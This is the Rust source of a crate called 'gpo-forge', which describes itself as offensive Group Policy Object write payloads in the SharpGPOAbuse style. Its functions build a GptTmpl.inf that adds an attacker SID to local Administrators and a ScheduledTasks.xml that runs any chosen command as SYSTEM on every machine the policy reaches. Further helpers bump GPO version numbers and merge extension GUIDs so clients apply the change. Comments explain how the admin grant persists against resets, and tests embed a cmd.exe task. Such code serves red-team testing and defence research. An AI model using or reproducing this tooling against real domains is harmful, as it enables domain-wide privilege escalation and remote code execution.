Skip to main content

gpo_forge/
lib.rs

1//! **gpo-forge** — offensive Group Policy Object write payloads.
2//!
3//! # What SharpGPOAbuse-class attacks need
4//!
5//! Once an attacker has `Write` on a GPO object (via a delegated OU
6//! creator, `gPLink` write, or SDDL misconfiguration), they can turn that
7//! into machine or user compromise by dropping one of a small set of
8//! well-known files into SYSVOL:
9//!
10//! * **AddLocalAdmin** → append a SID to `[Group Membership]` in
11//!   `Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf`. Applies via the
12//!   Security CSE on the next `gpupdate`. Persistent because the CSE
13//!   *sets* group membership — it doesn't merge — so a scheduled reset
14//!   from a legitimate admin gets clobbered every 90 minutes.
15//!
16//! * **NewImmediateTask** → drop a `ScheduledTasks.xml` at
17//!   `Machine\Preferences\ScheduledTasks\ScheduledTasks.xml`. The Scheduled
18//!   Tasks CSE registers the task as SYSTEM at policy-refresh time and
19//!   runs it exactly once (`Immediate`). Combined with an
20//!   attacker-controlled command line this is a clean SYSTEM RCE on every
21//!   machine the GPO applies to.
22//!
23//! Both attacks need three extra pieces the CSE machinery relies on:
24//!
25//! 1. `gpt.ini` at the GPO root, with the `Version=` field bumped so
26//!    clients pick up the change.
27//! 2. `gPCFileSysPath` — the LDAP path pointing at the SYSVOL directory
28//!    (must exist and match the GUID; the caller already has this).
29//! 3. `gPCMachineExtensionNames` (LDAP) updated so the CSE actually
30//!    processes the newly-added file — Windows only runs a CSE if its
31//!    GUID appears in the extension list.
32//!
33//! # What this crate builds
34//!
35//! * [`add_local_admin_gpttmpl`] — the full `GptTmpl.inf` content that
36//!   adds `trustee_sid` to BUILTIN\Administrators. Overwrites any existing
37//!   file — the caller merges if merge semantics are needed.
38//! * [`new_immediate_task_xml`] — the `ScheduledTasks.xml` content
39//!   registering an Immediate task that runs `command` as SYSTEM.
40//! * [`gpt_ini`] — the `gpt.ini` content with `Version=<n>`.
41//! * [`bump_gpo_version_number`] — the versionNumber math (upper 16 bits
42//!   = user counter, lower 16 = computer counter).
43//! * [`cse_list_add`] — merge a required CSE GUID into an existing
44//!   `gPCMachineExtensionNames` / `gPCUserExtensionNames` value.
45//! * CSE GUID constants (`CSE_GUID_*`) for the two attacks above.
46//!
47//! # What this crate does not do
48//!
49//! * No SYSVOL SMB write. Use `smb2-client` or your existing SMB layer.
50//! * No LDAP write for `versionNumber` / `gPCMachineExtensionNames`. Use
51//!   `adhammer-ldap` / `msldap-ext` / `ldap3`.
52//! * No permission preflight — the caller is expected to verify write
53//!   ACL on the GPO (via `ad-acl`) before invoking these builders.
54
55/// Security CSE — the client-side extension that consumes `GptTmpl.inf`
56/// and applies group-membership + security-options policy.
57pub const CSE_GUID_SECURITY: &str = "{827D319E-6EAC-11D2-A4EA-00C04F79F83A}";
58
59/// The "Security" toolExtensionGuid that must appear on the User side of
60/// the extension name list for user policy. For our Machine-scoped
61/// attacks we don't need this.
62pub const TOOLEXT_GUID_SECURITY: &str = "{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}";
63
64/// Scheduled Tasks Preference CSE — consumes `ScheduledTasks.xml`.
65pub const CSE_GUID_SCHEDULED_TASKS: &str = "{AADCED64-746C-4633-A97C-D61349046527}";
66
67/// The generic Group Policy Preferences (client-side) tool extension
68/// GUID paired with every GPP CSE.
69pub const TOOLEXT_GUID_GPP: &str = "{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}";
70
71/// Build the full `GptTmpl.inf` content that adds `trustee_sid` to
72/// BUILTIN\Administrators (`*S-1-5-32-544`) via the Security CSE's
73/// `[Group Membership]` section.
74///
75/// `trustee_sid` must be in canonical SDDL form (`S-1-5-21-…-1104`) — the
76/// caller is responsible for validating it (see `windows-sddl`).
77///
78/// # Merge semantics
79///
80/// The Security CSE *replaces* the target group's membership with what
81/// `[Group Membership]` says. To preserve existing DA/EA members that
82/// happen to already be direct members of BUILTIN\Administrators, add
83/// them to `also_keep` — they will be listed alongside `trustee_sid`.
84/// Nested group memberships (e.g. Domain Admins → BUILTIN\Administrators
85/// via BuiltinAdministrators.Members) are handled by AD, not the CSE, and
86/// are not affected.
87pub fn add_local_admin_gpttmpl(trustee_sid: &str, also_keep: &[&str]) -> String {
88    let mut members = vec![format!("*{trustee_sid}")];
89    for s in also_keep {
90        members.push(format!("*{s}"));
91    }
92    let joined = members.join(",");
93    // UTF-16LE BOM is normally the on-wire encoding; this string is UTF-8
94    // — the caller encodes at write time. Line endings are CRLF (SYSVOL
95    // consumers on Windows are strict here).
96    let mut s = String::new();
97    s.push_str("[Unicode]\r\n");
98    s.push_str("Unicode=yes\r\n");
99    s.push_str("[Version]\r\n");
100    s.push_str("signature=\"$CHICAGO$\"\r\n");
101    s.push_str("Revision=1\r\n");
102    s.push_str("[Group Membership]\r\n");
103    s.push_str(&format!("*S-1-5-32-544__Memberof =\r\n"));
104    s.push_str(&format!("*S-1-5-32-544__Members = {joined}\r\n"));
105    s
106}
107
108/// Build the `ScheduledTasks.xml` content that registers an Immediate
109/// task running `command` (with optional `arguments`) as `NT AUTHORITY\SYSTEM`
110/// exactly once at next policy refresh.
111///
112/// The Preference `action="C"` (Create) with `enabled=1` + `type="ImmediateTaskV2"`
113/// is the exact SharpGPOAbuse-shape shape most environments accept without
114/// user prompt. `task_guid` should be a fresh Windows-shape GUID
115/// (`{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}`) — caller supplies for
116/// determinism / testability.
117pub fn new_immediate_task_xml(
118    task_name: &str,
119    task_guid: &str,
120    author: &str,
121    command: &str,
122    arguments: Option<&str>,
123) -> String {
124    let args = arguments.unwrap_or("");
125    // Encoded as UTF-8 (XML spec allows it); Windows will honour <?xml
126    // encoding="UTF-8"?>. The CSE parses either.
127    format!(
128        r#"<?xml version="1.0" encoding="UTF-8"?>
129<ScheduledTasks clsid="{{CC63F200-7309-4ba0-B154-A71CD118DBCC}}">
130  <ImmediateTaskV2 clsid="{{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}}" name="{name}" image="0" changed="2026-01-01 00:00:00" uid="{guid}" userContext="0" removePolicy="0">
131    <Properties action="C" name="{name}" runAs="NT AUTHORITY\SYSTEM" logonType="S4U">
132      <Task version="1.3">
133        <RegistrationInfo>
134          <Author>{author}</Author>
135          <Description></Description>
136        </RegistrationInfo>
137        <Principals>
138          <Principal id="Author">
139            <UserId>NT AUTHORITY\System</UserId>
140            <RunLevel>HighestAvailable</RunLevel>
141            <LogonType>S4U</LogonType>
142          </Principal>
143        </Principals>
144        <Settings>
145          <IdleSettings>
146            <Duration>PT10M</Duration>
147            <WaitTimeout>PT1H</WaitTimeout>
148            <StopOnIdleEnd>true</StopOnIdleEnd>
149            <RestartOnIdle>false</RestartOnIdle>
150          </IdleSettings>
151          <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
152          <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
153          <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
154          <AllowHardTerminate>false</AllowHardTerminate>
155          <StartWhenAvailable>true</StartWhenAvailable>
156          <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
157          <AllowStartOnDemand>true</AllowStartOnDemand>
158          <Enabled>true</Enabled>
159          <Hidden>false</Hidden>
160          <RunOnlyIfIdle>false</RunOnlyIfIdle>
161          <WakeToRun>false</WakeToRun>
162          <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
163          <Priority>7</Priority>
164          <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
165        </Settings>
166        <Actions Context="Author">
167          <Exec>
168            <Command>{cmd}</Command>
169            <Arguments>{args}</Arguments>
170          </Exec>
171        </Actions>
172      </Task>
173    </Properties>
174  </ImmediateTaskV2>
175</ScheduledTasks>
176"#,
177        name = xml_escape(task_name),
178        guid = task_guid,
179        author = xml_escape(author),
180        cmd = xml_escape(command),
181        args = xml_escape(args),
182    )
183}
184
185/// Build a `gpt.ini` file with `Version=<n>`. `display_name` is written
186/// into the (informational) `DisplayName=` field the ADMX loader shows.
187pub fn gpt_ini(display_name: &str, version: u32) -> String {
188    format!(
189        "[General]\r\nVersion={version}\r\ndisplayName={dn}\r\n",
190        version = version,
191        dn = display_name,
192    )
193}
194
195/// Compute the new `versionNumber` value for a GPO's LDAP attribute.
196///
197/// `versionNumber` is packed: upper 16 bits count user-side changes,
198/// lower 16 bits count computer-side changes. Every write of GPO content
199/// must bump the counter for the side whose files changed, otherwise
200/// clients cache the old policy and the attack silently no-ops.
201///
202/// `computer_bump = true` = we modified a Machine\... file (typical for
203/// AddLocalAdmin / NewImmediateTask); `false` = User\... side.
204pub fn bump_gpo_version_number(current: u32, computer_bump: bool) -> u32 {
205    let user = (current >> 16) & 0xFFFF;
206    let computer = current & 0xFFFF;
207    if computer_bump {
208        let new_computer = (computer + 1) & 0xFFFF;
209        (user << 16) | new_computer
210    } else {
211        let new_user = (user + 1) & 0xFFFF;
212        (new_user << 16) | computer
213    }
214}
215
216/// Split a packed `versionNumber` into `(user, computer)` counters.
217pub fn split_gpo_version_number(v: u32) -> (u16, u16) {
218    (((v >> 16) & 0xFFFF) as u16, (v & 0xFFFF) as u16)
219}
220
221/// Merge `required_cse` + `required_toolext` into an existing
222/// `gPCMachineExtensionNames` (or `gPCUserExtensionNames`) value.
223///
224/// The attribute format is `[{CSE-GUID}{TOOLEXT-GUID}…][{CSE-GUID}{TOOLEXT-GUID}…]…`
225/// with pairs sorted lexicographically by CSE GUID. Windows won't invoke
226/// a CSE whose GUID isn't listed, so this merge step is mandatory after
227/// dropping a `GptTmpl.inf` or `ScheduledTasks.xml`.
228///
229/// Returns the new attribute value (empty string if the caller had no
230/// prior value). Idempotent — re-adding an existing pair is a no-op.
231pub fn cse_list_add(existing: &str, required_cse: &str, required_toolext: &str) -> String {
232    let mut groups = parse_ext_names(existing);
233    let entry = groups.entry(required_cse.to_string()).or_default();
234    if !entry.iter().any(|g| g == required_toolext) {
235        entry.push(required_toolext.to_string());
236    }
237    render_ext_names(&groups)
238}
239
240fn parse_ext_names(s: &str) -> std::collections::BTreeMap<String, Vec<String>> {
241    let mut out = std::collections::BTreeMap::<String, Vec<String>>::new();
242    // Each top-level bracket group is `[{CSE}{TE1}{TE2}…]`.
243    let mut i = 0;
244    let bytes = s.as_bytes();
245    while i < bytes.len() {
246        if bytes[i] != b'[' {
247            i += 1;
248            continue;
249        }
250        let end = match s[i + 1..].find(']') {
251            Some(k) => i + 1 + k,
252            None => break,
253        };
254        let inner = &s[i + 1..end];
255        let mut guids: Vec<String> = Vec::new();
256        let mut j = 0;
257        let inb = inner.as_bytes();
258        while j < inb.len() {
259            if inb[j] != b'{' {
260                j += 1;
261                continue;
262            }
263            let close = match inner[j..].find('}') {
264                Some(k) => j + k,
265                None => break,
266            };
267            guids.push(inner[j..=close].to_string());
268            j = close + 1;
269        }
270        if let Some((cse, rest)) = guids.split_first() {
271            let entry = out.entry(cse.clone()).or_default();
272            for te in rest {
273                if !entry.iter().any(|g| g == te) {
274                    entry.push(te.clone());
275                }
276            }
277        }
278        i = end + 1;
279    }
280    out
281}
282
283fn render_ext_names(groups: &std::collections::BTreeMap<String, Vec<String>>) -> String {
284    let mut out = String::new();
285    for (cse, tes) in groups {
286        out.push('[');
287        out.push_str(cse);
288        for te in tes {
289            out.push_str(te);
290        }
291        out.push(']');
292    }
293    out
294}
295
296fn xml_escape(s: &str) -> String {
297    let mut out = String::with_capacity(s.len());
298    for c in s.chars() {
299        match c {
300            '<' => out.push_str("&lt;"),
301            '>' => out.push_str("&gt;"),
302            '&' => out.push_str("&amp;"),
303            '"' => out.push_str("&quot;"),
304            '\'' => out.push_str("&apos;"),
305            _ => out.push(c),
306        }
307    }
308    out
309}
310
311#[cfg(test)]
312mod tests {
313    use super::*;
314
315    #[test]
316    fn gpttmpl_carries_trustee_sid_and_bracket_sections() {
317        let out = add_local_admin_gpttmpl("S-1-5-21-1-2-3-1104", &[]);
318        assert!(out.starts_with("[Unicode]"));
319        assert!(out.contains("[Group Membership]"));
320        assert!(out.contains("*S-1-5-32-544__Members = *S-1-5-21-1-2-3-1104"));
321        // CRLF line endings are what SYSVOL consumers on Windows expect.
322        assert!(out.contains("\r\n"));
323    }
324
325    #[test]
326    fn gpttmpl_preserves_also_keep_list() {
327        let out = add_local_admin_gpttmpl(
328            "S-1-5-21-1-2-3-1104",
329            &["S-1-5-21-1-2-3-500", "S-1-5-21-1-2-3-512"],
330        );
331        assert!(out.contains("*S-1-5-21-1-2-3-1104"));
332        assert!(out.contains("*S-1-5-21-1-2-3-500"));
333        assert!(out.contains("*S-1-5-21-1-2-3-512"));
334    }
335
336    #[test]
337    fn immediate_task_xml_embeds_command_and_guid() {
338        let xml = new_immediate_task_xml(
339            "AuditRun",
340            "{12345678-1234-1234-1234-123456789abc}",
341            "corp\\audit-svc",
342            "C:\\Windows\\System32\\cmd.exe",
343            Some("/c whoami > C:\\a.txt"),
344        );
345        assert!(xml.contains("<Command>C:\\Windows\\System32\\cmd.exe</Command>"));
346        assert!(xml.contains("<Arguments>/c whoami &gt; C:\\a.txt</Arguments>"));
347        assert!(xml.contains("uid=\"{12345678-1234-1234-1234-123456789abc}\""));
348        assert!(xml.contains("runAs=\"NT AUTHORITY\\SYSTEM\""));
349        assert!(xml.contains("ImmediateTaskV2"));
350    }
351
352    #[test]
353    fn immediate_task_xml_escapes_special_chars() {
354        let xml = new_immediate_task_xml(
355            "a<>&\"'",
356            "{00000000-0000-0000-0000-000000000000}",
357            "author",
358            "cmd",
359            Some("a & b"),
360        );
361        assert!(xml.contains("&lt;"));
362        assert!(xml.contains("&gt;"));
363        assert!(xml.contains("&amp;"));
364        assert!(xml.contains("&quot;"));
365        assert!(xml.contains("&apos;"));
366        assert!(xml.contains("<Arguments>a &amp; b</Arguments>"));
367    }
368
369    #[test]
370    fn gpt_ini_shape() {
371        let s = gpt_ini("Adhammer Test GPO", 4);
372        assert!(s.contains("Version=4"));
373        assert!(s.contains("[General]"));
374        assert!(s.contains("displayName=Adhammer Test GPO"));
375    }
376
377    #[test]
378    fn bump_version_number_math() {
379        // Fresh GPO: 0. Bumping computer → 1.
380        assert_eq!(bump_gpo_version_number(0, true), 1);
381        // Bumping user → 0x0001_0000.
382        assert_eq!(bump_gpo_version_number(0, false), 0x0001_0000);
383        // Mixed: user=3, computer=5 → 0x0003_0005.
384        let mixed = 0x0003_0005u32;
385        assert_eq!(split_gpo_version_number(mixed), (3, 5));
386        assert_eq!(bump_gpo_version_number(mixed, true), 0x0003_0006);
387        assert_eq!(bump_gpo_version_number(mixed, false), 0x0004_0005);
388        // Wraparound at 16 bits.
389        assert_eq!(bump_gpo_version_number(0x0000_FFFF, true), 0);
390    }
391
392    #[test]
393    fn cse_list_add_to_empty() {
394        let out = cse_list_add("", CSE_GUID_SCHEDULED_TASKS, TOOLEXT_GUID_GPP);
395        assert_eq!(
396            out,
397            format!("[{}{}]", CSE_GUID_SCHEDULED_TASKS, TOOLEXT_GUID_GPP)
398        );
399    }
400
401    #[test]
402    fn cse_list_add_is_idempotent() {
403        let base = format!("[{}{}]", CSE_GUID_SECURITY, TOOLEXT_GUID_SECURITY);
404        let out = cse_list_add(&base, CSE_GUID_SECURITY, TOOLEXT_GUID_SECURITY);
405        assert_eq!(out, base);
406    }
407
408    #[test]
409    fn cse_list_add_preserves_existing_and_appends_new() {
410        let base = format!("[{}{}]", CSE_GUID_SECURITY, TOOLEXT_GUID_SECURITY);
411        let out = cse_list_add(&base, CSE_GUID_SCHEDULED_TASKS, TOOLEXT_GUID_GPP);
412        // Order is sorted-by-CSE-GUID; both entries must be present.
413        assert!(out.contains(CSE_GUID_SECURITY));
414        assert!(out.contains(CSE_GUID_SCHEDULED_TASKS));
415        assert!(out.contains(TOOLEXT_GUID_SECURITY));
416        assert!(out.contains(TOOLEXT_GUID_GPP));
417    }
418
419    #[test]
420    fn cse_list_add_merges_new_toolext_to_existing_cse() {
421        let base = format!("[{}{}]", CSE_GUID_SECURITY, TOOLEXT_GUID_SECURITY);
422        // Same CSE, add a second toolext.
423        let extra = "{DEADBEEF-1234-1234-1234-DEADBEEFDEAD}";
424        let out = cse_list_add(&base, CSE_GUID_SECURITY, extra);
425        assert!(out.contains(CSE_GUID_SECURITY));
426        assert!(out.contains(TOOLEXT_GUID_SECURITY));
427        assert!(out.contains(extra));
428        // Still a single bracket group.
429        assert_eq!(out.matches('[').count(), 1);
430    }
431}